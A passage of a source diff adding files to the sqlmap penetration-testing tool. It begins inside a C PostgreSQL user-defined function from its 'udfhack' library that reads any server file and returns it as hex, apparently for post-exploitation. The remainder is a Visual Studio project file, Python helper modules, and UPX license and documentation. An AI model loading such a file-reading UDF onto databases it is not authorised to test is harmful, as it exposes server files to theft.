+	memcpy(filename, VARDATA(argv0), argv0_size);
+	filename[argv0_size] = '\0';
+	
+	file = fopen(filename, "rb");
+	if (!file)
+	{
+		PG_RETURN_NULL();
+	}
+	fseek(file, 0, SEEK_END);
+	len = ftell(file);
+	fseek(file, 0, SEEK_SET);
+
+	buffer=(char *)malloc(len + 1);
+	if (!buffer)
+	{
+		fclose(file);
+		PG_RETURN_NULL();
+	}
+
+	fread(buffer, len, 1, file);
+	fclose(file);
+
+	result = (char *)malloc(2*len + 1);
+	for (i=0, j=0; i<len; i++)
+	{
+		result[j++] = table[(buffer[i] >> 4) & 0x0f];
+		result[j++] = table[ buffer[i]	   & 0x0f];
+	}
+	result[j] = '\0';
+	
+	result_text = (text *)malloc(VARHDRSZ + strlen(result));
+#ifdef SET_VARSIZE
+	SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
+#else
+	VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
+#endif
+	memcpy(VARDATA(result_text), result, strlen(result));
+	
+	free(result);
+	free(buffer);
+	free(filename);
+
+	PG_RETURN_POINTER(result_text);
+}

extra/udfhack/windows/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj

@@ -0,0 +1,194 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8,00"
+	Name="lib_postgresqludf_sys"
+	ProjectGUID="{3527D58C-177A-47B3-981B-8104EBB3F943}"
+	RootNamespace="lib_postgresqludf_sys"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\Include;$(POSTGRESQL_SERVER_DIR)\include\server;$(POSTGRESQL_SERVER_DIR)\include\server\port\win32"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="postgres.lib"
+				AdditionalLibraryDirectories="$(POSTGRESQL_SERVER_DIR)\lib;$(POSTGRESQL_SERVER_DIR)\bin"
+				GenerateDebugInformation="true"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="1"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="2"
+				AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\Include;$(POSTGRESQL_SERVER_DIR)\include\server;$(POSTGRESQL_SERVER_DIR)\include\server\port\win32"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				WarningLevel="3"
+				DebugInformationFormat="0"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="postgres.lib"
+				AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib;$(POSTGRESQL_SERVER_DIR)\lib;$(POSTGRESQL_SERVER_DIR)\bin"
+				GenerateDebugInformation="false"
+				SubSystem="0"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\lib_postgresqludf_sys.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

lib/__init__.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+pass

lib/contrib/__init__.py

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2007-2010 Bernardo Damele A. G. <[email protected]>
+Copyright (c) 2006 Daniele Bellucci <[email protected]>
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+pass

lib/contrib/magic.py

@@ -0,0 +1,194 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+Adam Hupp <[email protected]>
+
+Reference: http://hupp.org/adam/hg/python-magic
+
+License: PSF (http://www.python.org/psf/license/)
+"""
+
+import os.path
+import ctypes
+import ctypes.util
+
+from ctypes import c_char_p, c_int, c_size_t, c_void_p
+
+class MagicException(Exception): pass
+
+class Magic:
+    """
+    Magic is a wrapper around the libmagic C library.  
+    
+    """
+
+    def __init__(self, mime=False, magic_file=None):
+        """
+        Create a new libmagic wrapper.
+
+        mime - if True, mimetypes are returned instead of textual descriptions
+        magic_file - use a mime database other than the system default
+        
+        """
+        flags = MAGIC_NONE
+        if mime:
+            flags |= MAGIC_MIME
+            
+        self.cookie = magic_open(flags)
+
+        magic_load(self.cookie, magic_file)
+
+    def from_buffer(self, buf):
+        """
+        Identify the contents of `buf`
+        """
+        return magic_buffer(self.cookie, buf)
+
+    def from_file(self, filename):
+        """
+        Identify the contents of file `filename`
+        raises IOError if the file does not exist
+        """
+
+        if not os.path.exists(filename):
+            raise IOError("File does not exist: " + filename)
+        
+        return magic_file(self.cookie, filename)
+
+    def __del__(self):
+        try:
+            magic_close(self.cookie)
+        except Exception, _:
+            pass
+
+_magic_mime = None
+_magic = None
+
+def _get_magic_mime():
+    global _magic_mime
+    if not _magic_mime:
+        _magic_mime = Magic(mime=True)
+    return _magic_mime
+
+def _get_magic():
+    global _magic
+    if not _magic:
+        _magic = Magic()
+    return _magic
+
+def _get_magic_type(mime):
+    if mime:
+        return _get_magic_mime()
+    else:
+        return _get_magic()
+
+def from_file(filename, mime=False):
+    m = _get_magic_type(mime)
+    return m.from_file(filename)
+
+def from_buffer(buffer, mime=False):
+    m = _get_magic_type(mime)
+    return m.from_buffer(buffer)
+
+try:
+    libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
+
+    magic_t = ctypes.c_void_p
+
+    def errorcheck(result, func, args):
+        err = magic_error(args[0])
+        if err is not None:
+            raise MagicException(err)
+        else:
+            return result
+
+    magic_open = libmagic.magic_open
+    magic_open.restype = magic_t
+    magic_open.argtypes = [c_int]
+
+    magic_close = libmagic.magic_close
+    magic_close.restype = None
+    magic_close.argtypes = [magic_t]
+    magic_close.errcheck = errorcheck
+
+    magic_error = libmagic.magic_error
+    magic_error.restype = c_char_p
+    magic_error.argtypes = [magic_t]
+
+    magic_errno = libmagic.magic_errno
+    magic_errno.restype = c_int
+    magic_errno.argtypes = [magic_t]
+
+    magic_file = libmagic.magic_file
+    magic_file.restype = c_char_p
+    magic_file.argtypes = [magic_t, c_char_p]
+    magic_file.errcheck = errorcheck
+
+    _magic_buffer = libmagic.magic_buffer
+    _magic_buffer.restype = c_char_p
+    _magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
+    _magic_buffer.errcheck = errorcheck
+
+    def magic_buffer(cookie, buf):
+        return _magic_buffer(cookie, buf, len(buf))
+
+    magic_load = libmagic.magic_load
+    magic_load.restype = c_int
+    magic_load.argtypes = [magic_t, c_char_p]
+    magic_load.errcheck = errorcheck
+
+    magic_setflags = libmagic.magic_setflags
+    magic_setflags.restype = c_int
+    magic_setflags.argtypes = [magic_t, c_int]
+
+    magic_check = libmagic.magic_check
+    magic_check.restype = c_int
+    magic_check.argtypes = [magic_t, c_char_p]
+
+    magic_compile = libmagic.magic_compile
+    magic_compile.restype = c_int
+    magic_compile.argtypes = [magic_t, c_char_p]
+except:
+    pass
+
+MAGIC_NONE = 0x000000 # No flags
+
+MAGIC_DEBUG = 0x000001 # Turn on debugging
+
+MAGIC_SYMLINK = 0x000002 # Follow symlinks
+
+MAGIC_COMPRESS = 0x000004 # Check inside compressed files
+
+MAGIC_DEVICES = 0x000008 # Look at the contents of devices
+
+MAGIC_MIME = 0x000010 # Return a mime string
+
+MAGIC_CONTINUE = 0x000020 # Return all matches
+
+MAGIC_CHECK = 0x000040 # Print warnings to stderr
+
+MAGIC_PRESERVE_ATIME = 0x000080 # Restore access time on exit
+
+MAGIC_RAW = 0x000100 # Don't translate unprintable chars
+
+MAGIC_ERROR = 0x000200 # Handle ENOENT etc as real errors
+
+MAGIC_NO_CHECK_COMPRESS = 0x001000 # Don't check for compressed files
+
+MAGIC_NO_CHECK_TAR = 0x002000 # Don't check for tar files
+
+MAGIC_NO_CHECK_SOFT = 0x004000 # Don't check magic entries
+
+MAGIC_NO_CHECK_APPTYPE = 0x008000 # Don't check application type
+
+MAGIC_NO_CHECK_ELF = 0x010000 # Don't check for elf details
+
+MAGIC_NO_CHECK_ASCII = 0x020000 # Don't check for ascii files
+
+MAGIC_NO_CHECK_TROFF = 0x040000 # Don't check ascii/troff
+
+MAGIC_NO_CHECK_FORTRAN = 0x080000 # Don't check ascii/fortran
+
+MAGIC_NO_CHECK_TOKENS = 0x100000 # Don't check ascii/tokens

lib/contrib/multipartpost.py

@@ -0,0 +1,106 @@
+#!/usr/bin/env python
+
+"""
+$Id$
+
+02/2006 Will Holcomb <[email protected]>
+
+Reference: http://odin.himinbi.org/MultipartPostHandler.py
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+
+import mimetools
+import mimetypes
+import os
+import stat
+import sys
+import urllib
+import urllib2
+
+from lib.core.exception import sqlmapDataException
+
+
+class Callable:
+    def __init__(self, anycallable):
+        self.__call__ = anycallable
+
+# Controls how sequences are uncoded. If true, elements may be given
+# multiple values by assigning a sequence.
+doseq = 1
+
+
+class MultipartPostHandler(urllib2.BaseHandler):
+    handler_order = urllib2.HTTPHandler.handler_order - 10 # needs to run first
+
+    def http_request(self, request):
+        data = request.get_data()
+        
+        if data is not None and type(data) != str:
+            v_files = []
+            v_vars = []
+            
+            try:
+                for(key, value) in data.items():
+                    if type(value) == file or hasattr(value, 'file'):
+                        v_files.append((key, value))
+                    else:
+                        v_vars.append((key, value))
+            except TypeError:
+                systype, value, traceback = sys.exc_info()
+                raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
+
+            if len(v_files) == 0:
+                data = urllib.urlencode(v_vars, doseq)
+            else:
+                boundary, data = self.multipart_encode(v_vars, v_files)
+                contenttype = 'multipart/form-data; boundary=%s' % boundary
+                #if (request.has_header('Content-Type') and request.get_header('Content-Type').find('multipart/form-data') != 0):
+                #    print "Replacing %s with %s" % (request.get_header('content-type'), 'multipart/form-data')
+                request.add_unredirected_header('Content-Type', contenttype)
+
+            request.add_data(data)
+        return request
+
+    def multipart_encode(vars, files, boundary = None, buffer = None):
+        if boundary is None:
+            boundary = mimetools.choose_boundary()
+
+        if buffer is None:
+            buffer = ''
+
+        for(key, value) in vars:
+            buffer += '--%s\r\n' % boundary
+            buffer += 'Content-Disposition: form-data; name="%s"' % key
+            buffer += '\r\n\r\n' + value + '\r\n'
+
+        for(key, fd) in files:
+            file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
+            filename = fd.name.split('/')[-1]
+            contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
+            buffer += '--%s\r\n' % boundary
+            buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
+            buffer += 'Content-Type: %s\r\n' % contenttype
+            # buffer += 'Content-Length: %s\r\n' % file_size
+            fd.seek(0)
+            buffer += '\r\n' + fd.read() + '\r\n'
+
+        buffer += '--%s--\r\n\r\n' % boundary
+
+        return boundary, buffer
+
+    multipart_encode = Callable(multipart_encode)
+
+    https_request = http_request

lib/contrib/upx/doc/LICENSE

@@ -0,0 +1,138 @@
+-----BEGIN PGP SIGNED MESSAGE-----
+
+
+                 ooooo     ooo ooooooooo.   ooooooo  ooooo
+                 `888'     `8' `888   `Y88.  `8888    d8'
+                  888       8   888   .d88'    Y888..8P
+                  888       8   888ooo88P'      `8888'
+                  888       8   888            .8PY888.
+                  `88.    .8'   888           d8'  `888b
+                    `YbodP'    o888o        o888o  o88888o
+
+
+                    The Ultimate Packer for eXecutables
+          Copyright (c) 1996-2000 Markus Oberhumer & Laszlo Molnar
+               http://wildsau.idv.uni-linz.ac.at/mfx/upx.html
+                          http://www.nexus.hu/upx
+                            http://upx.tsx.org
+
+
+PLEASE CAREFULLY READ THIS LICENSE AGREEMENT, ESPECIALLY IF YOU PLAN
+TO MODIFY THE UPX SOURCE CODE OR USE A MODIFIED UPX VERSION.
+
+
+ABSTRACT
+========
+
+   UPX and UCL are copyrighted software distributed under the terms
+   of the GNU General Public License (hereinafter the "GPL").
+
+   The stub which is imbedded in each UPX compressed program is part
+   of UPX and UCL, and contains code that is under our copyright. The
+   terms of the GNU General Public License still apply as compressing
+   a program is a special form of linking with our stub.
+
+   As a special exception we grant the free usage of UPX for all
+   executables, including commercial programs.
+   See below for details and restrictions.
+
+
+COPYRIGHT
+=========
+
+   UPX and UCL are copyrighted software. All rights remain with the authors.
+
+   UPX is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
+   UPX is Copyright (C) 1996-2000 Laszlo Molnar
+
+   UCL is Copyright (C) 1996-2000 Markus Franz Xaver Johannes Oberhumer
+
+
+GNU GENERAL PUBLIC LICENSE
+==========================
+
+   UPX and the UCL library are free software; you can redistribute them
+   and/or modify them under the terms of the GNU General Public License as
+   published by the Free Software Foundation; either version 2 of
+   the License, or (at your option) any later version.
+
+   UPX and UCL are distributed in the hope that they will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+
+   You should have received a copy of the GNU General Public License
+   along with this program; see the file COPYING.
+
+
+SPECIAL EXCEPTION FOR COMPRESSED EXECUTABLES
+============================================
+
+   The stub which is imbedded in each UPX compressed program is part
+   of UPX and UCL, and contains code that is under our copyright. The
+   terms of the GNU General Public License still apply as compressing
+   a program is a special form of linking with our stub.
+
+   Hereby Markus F.X.J. Oberhumer and Laszlo Molnar grant you special
+   permission to freely use and distribute all UPX compressed programs
+   (including commercial ones), subject to the following restrictions:
+
+   1. You must compress your program with a completely unmodified UPX
+      version; either with our precompiled version, or (at your option)
+      with a self compiled version of the unmodified UPX sources as
+      distributed by us.
+   2. This also implies that the UPX stub must be completely unmodfied, i.e.
+      the stub imbedded in your compressed program must be byte-identical
+      to the stub that is produced by the official unmodified UPX version.
+   3. The decompressor and any other code from the stub must exclusively get
+      used by the unmodified UPX stub for decompressing your program at
+      program startup. No portion of the stub may get read, copied,
+      called or otherwise get used or accessed by your program.
+
+
+ANNOTATIONS
+===========
+
+  - You can use a modified UPX version or modified UPX stub only for
+    programs that are compatible with the GNU General Public License.
+
+  - We grant you special permission to freely use and distribute all UPX
+    compressed programs. But any modification of the UPX stub (such as,
+    but not limited to, removing our copyright string or making your
+    program non-decompressible) will immediately revoke your right to
+    use and distribute a UPX compressed program.
+
+  - UPX is not a software protection tool; by requiring that you use
+    the unmodified UPX version for your proprietary programs we
+    make sure that any user can decompress your program. This protects
+    both you and your users as nobody can hide malicious code -
+    any program that cannot be decompressed is highly suspicious
+    by definition.
+
+  - You can integrate all or part of UPX and UCL into projects that
+    are compatible with the GNU GPL, but obviously you cannot grant
+    any special exceptions beyond the GPL for our code in your project.
+
+  - We want to actively support manufacturers of virus scanners and
+    similar security software. Please contact us if you would like to
+    incorporate parts of UPX or UCL into such a product.
+
+
+
+Markus F.X.J. Oberhumer                   Laszlo Molnar
+[email protected]        [email protected]
+
+Linz, Austria, 25 Feb 2000
+
+
+
+-----BEGIN PGP SIGNATURE-----
+Version: 2.6.3ia
+Charset: noconv
+
+iQCVAwUBOLaLS210fyLu8beJAQFYVAP/ShzENWKLTvedLCjZbDcwaBEHfUVcrGMI
+wE7frMkbWT2zmkdv9hW90WmjMhOBu7yhUplvN8BKOtLiolEnZmLCYu8AGCwr5wBf
+dfLoClxnzfTtgQv5axF1awp4RwCUH3hf4cDrOVqmAsWXKPHtm4hx96jF6L4oHhjx
+OO03+ojZdO8=
+=CS52
+-----END PGP SIGNATURE-----

lib/contrib/upx/doc/README

@@ -0,0 +1,142 @@
+                 ooooo     ooo ooooooooo.   ooooooo  ooooo
+                 `888'     `8' `888   `Y88.  `8888    d8'
+                  888       8   888   .d88'    Y888..8P
+                  888       8   888ooo88P'      `8888'
+                  888       8   888            .8PY888.
+                  `88.    .8'   888           d8'  `888b
+                    `YbodP'    o888o        o888o  o88888o
+
+
+                    The Ultimate Packer for eXecutables
+   Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar & John Reiser
+                        http://upx.sourceforge.net
+
+
+
+WELCOME
+=======
+
+Welcome to UPX !
+
+Please don't forget to read the file LICENSE - UPX is distributed
+under the GNU General Public License (GPL) with special exceptions
+allowing the distribution of all compressed executables, including
+commercial programs.
+
+
+INTRODUCTION
+============
+
+UPX is an advanced executable file compressor. UPX will typically
+reduce the file size of programs and DLLs by around 50%-70%, thus
+reducing disk space, network load times, download times and
+other distribution and storage costs.
+
+Programs and libraries compressed by UPX are completely self-contained
+and run exactly as before, with no runtime or memory penalty for most
+of the supported formats.
+
+UPX supports a number of different executable formats, including
+Windows 95/98/ME/NT/2000/XP/CE programs and DLLs, DOS programs,
+and Linux executables and kernels.
+
+UPX is free software distributed under the term of the GNU General
+Public License. Full source code is available.
+
+UPX may be distributed and used freely, even with commercial applications.
+See the UPX License Agreement for details.
+
+UPX is rated number one in the well known Archive Comparison Test. Visit
+http://compression.ca/ .
+
+UPX aims to be Commercial Quality Freeware.
+
+
+SHORT DOCUMENTATION
+===================
+
+'upx program.exe' will compress a program or DLL. For best compression
+results try 'upx --brute program.exe'.
+
+Please see the file UPX.DOC for the full documentation. The files
+NEWS and BUGS also contain various tidbits of information.
+
+
+DISCLAIMER
+==========
+
+UPX comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.
+
+Having said that, we think that UPX is quite stable now. Indeed we
+have compressed lots of files without any problems. Also, the
+current version has undergone several months of beta testing -
+actually it's almost 8 years since our first public beta.
+
+This is the first production quality release, and we plan that future
+releases will be backward compatible with this version.
+
+Please report all problems or suggestions to the authors. Thanks.
+
+
+THE FUTURE
+==========
+
+  - We'd really love to support handheld systems like the PalmPilot because
+    compression makes a lot of sense here. And - because of the atari/tos
+    format - we already have a working decompressor in 68000 assembly.
+    Unfortunately we know next to nothing about the operating system
+    architecture of such handhelds, so we need some information from
+    an expert. Please contact us if you think you can help.
+
+  - The Linux approach could probably get ported to a lot of other Unix
+    variants, at least for other i386 architectures it shouldn't be too
+    much work. If someone sends me a fresh hard disk and an official
+    FreeBSD/OpenBSD/NetBSD/Solaris/BeOS... CD I might take a look at it ;-)
+
+  - We will *NOT* add any sort of protection and/or encryption.
+    This only gives people a false feeling of security because
+    by definition all protectors/compressors can be broken.
+    And don't trust any advertisement of authors of other executable
+    compressors about this topic - just do a websearch on "unpackers"...
+
+  - Fix all remaining bugs - keep your reports coming ;-)
+
+  - See the file PROJECTS in the source code distribution if you want
+    to contribute.
+
+
+COPYRIGHT
+=========
+
+Copyright (C) 1996-2008 Markus Franz Xaver Johannes Oberhumer
+Copyright (C) 1996-2008 Laszlo Molnar
+Copyright (C) 2000-2008 John F. Reiser
+
+This program may be used freely, and you are welcome to
+redistribute it under certain conditions.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+UPX License Agreement for more details.
+
+You should have received a copy of the UPX License Agreement along
+with this program; see the file LICENSE. If not, visit the UPX home page.
+
+
+Share and enjoy,
+Markus & Laszlo
+
+
+   Markus F.X.J. Oberhumer              Laszlo Molnar
+   <[email protected]>               <[email protected]>
+
+
+
+[ The term UPX is a shorthand for the Ultimate Packer for eXecutables
+  and holds no connection with potential owners of registered trademarks
+  or other rights. ]
+
+[ Feel free to contact us if you have commercial compression requirements
+  or interesting job offers. ]
+

lib/contrib/upx/doc/upx.html

@@ -0,0 +1,888 @@
+<?xml version="1.0" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>upx - compress or expand executable files</title>
+<meta http-equiv="content-type" content="text/html; charset=utf-8" />
+<link rev="made" href="mailto:root@localhost" />
+</head>
+
+<body style="background-color: white">
+
+<p><a name="__index__"></a></p>
+<!-- INDEX BEGIN -->
+<!--
+
+<ul>
+
+  <li><a href="#name">NAME</a></li>
+  <li><a href="#synopsis">SYNOPSIS</a></li>
+  <li><a href="#abstract">ABSTRACT</a></li>
+  <li><a href="#disclaimer">DISCLAIMER</a></li>
+  <li><a href="#description">DESCRIPTION</a></li>
+  <li><a href="#commands">COMMANDS</a></li>
+  <ul>
+
+    <li><a href="#compress">Compress</a></li>
+    <li><a href="#decompress">Decompress</a></li>
+    <li><a href="#test">Test</a></li>
+    <li><a href="#list">List</a></li>
+  </ul>
+
+  <li><a href="#options">OPTIONS</a></li>
+  <li><a href="#compression_levels___tuning">COMPRESSION LEVELS &amp; TUNING</a></li>
+  <li><a href="#overlay_handling_options">OVERLAY HANDLING OPTIONS</a></li>
+  <li><a href="#environment">ENVIRONMENT</a></li>
+  <li><a href="#notes_for_the_supported_executable_formats">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</a></li>
+  <ul>
+
+    <li><a href="#notes_for_atari_tos">NOTES FOR ATARI/TOS</a></li>
+    <li><a href="#notes_for_bvmlinuz_i386">NOTES FOR BVMLINUZ/I386</a></li>
+    <li><a href="#notes_for_dos_com">NOTES FOR DOS/COM</a></li>
+    <li><a href="#notes_for_dos_exe">NOTES FOR DOS/EXE</a></li>
+    <li><a href="#notes_for_dos_sys">NOTES FOR DOS/SYS</a></li>
+    <li><a href="#notes_for_djgpp2_coff">NOTES FOR DJGPP2/COFF</a></li>
+    <li><a href="#notes_for_linux__general_">NOTES FOR LINUX [general]</a></li>
+    <li><a href="#notes_for_linux_elf386">NOTES FOR LINUX/ELF386</a></li>
+    <li><a href="#notes_for_linux_sh386">NOTES FOR LINUX/SH386</a></li>
+    <li><a href="#notes_for_linux_386">NOTES FOR LINUX/386</a></li>
+    <li><a href="#notes_for_ps1_exe">NOTES FOR PS1/EXE</a></li>
+    <li><a href="#notes_for_rtm32_pe_and_arm_pe">NOTES FOR RTM32/PE and ARM/PE</a></li>
+    <li><a href="#notes_for_tmt_adam">NOTES FOR TMT/ADAM</a></li>
+    <li><a href="#notes_for_vmlinuz_386">NOTES FOR VMLINUZ/386</a></li>
+    <li><a href="#notes_for_watcom_le">NOTES FOR WATCOM/LE</a></li>
+    <li><a href="#notes_for_win32_pe">NOTES FOR WIN32/PE</a></li>
+  </ul>
+
+  <li><a href="#diagnostics">DIAGNOSTICS</a></li>
+  <li><a href="#bugs">BUGS</a></li>
+  <li><a href="#authors">AUTHORS</a></li>
+  <li><a href="#copyright">COPYRIGHT</a></li>
+</ul>
+-->
+<!-- INDEX END -->
+
+<p>
+</p>
+<h1><a name="name">NAME</a></h1>
+<p>upx - compress or expand executable files</p>
+<p>
+</p>
+<hr />
+<h1><a name="synopsis">SYNOPSIS</a></h1>
+<p><strong>upx</strong> [&nbsp;<em>command</em>&nbsp;] [&nbsp;<em>options</em>&nbsp;] <em>filename</em>...</p>
+<p>
+</p>
+<hr />
+<h1><a name="abstract">ABSTRACT</a></h1>
+<pre>
+                    The Ultimate Packer for eXecutables
+   Copyright (c) 1996-2008 Markus Oberhumer, Laszlo Molnar &amp; John Reiser
+                        <a href="http://upx.sourceforge.net">http://upx.sourceforge.net</a></pre>
+<p><strong>UPX</strong> is a portable, extendable, high-performance executable packer for
+several different executable formats. It achieves an excellent compression
+ratio and offers <em>*very*</em> fast decompression. Your executables suffer
+no memory overhead or other drawbacks for most of the formats supported,
+because of in-place decompression.</p>
+<p>While you may use <strong>UPX</strong> freely for both non-commercial and commercial
+executables (for details see the file LICENSE), we would highly
+appreciate if you credit <strong>UPX</strong> and ourselves in the documentation,
+possibly including a reference to the <strong>UPX</strong> home page. Thanks.</p>
+<p>[ Using <strong>UPX</strong> in non-OpenSource applications without proper credits
+is considered not politically correct ;-) ]</p>
+<p>
+</p>
+<hr />
+<h1><a name="disclaimer">DISCLAIMER</a></h1>
+<p><strong>UPX</strong> comes with ABSOLUTELY NO WARRANTY; for details see the file LICENSE.</p>
+<p>This is the first production quality release, and we plan that future 1.xx
+releases will be backward compatible with this version.</p>
+<p>Please report all problems or suggestions to the authors. Thanks.</p>
+<p>
+</p>
+<hr />
+<h1><a name="description">DESCRIPTION</a></h1>
+<p><strong>UPX</strong> is a versatile executable packer with the following features:</p>
+<pre>
+  - excellent compression ratio: compresses better than zip/gzip,
+      use UPX to decrease the size of your distribution !</pre>
+<pre>
+  - very fast decompression: about 10 MiB/sec on an ancient Pentium 133,
+      about 200 MiB/sec on an Athlon XP 2000+.</pre>
+<pre>
+  - no memory overhead for your compressed executables for most of the
+      supported formats</pre>
+<pre>
+  - safe: you can list, test and unpack your executables
+      Also, a checksum of both the compressed and uncompressed file is
+      maintained internally.</pre>
+<pre>
+  - universal: UPX can pack a number of executable formats:
+      * atari/tos
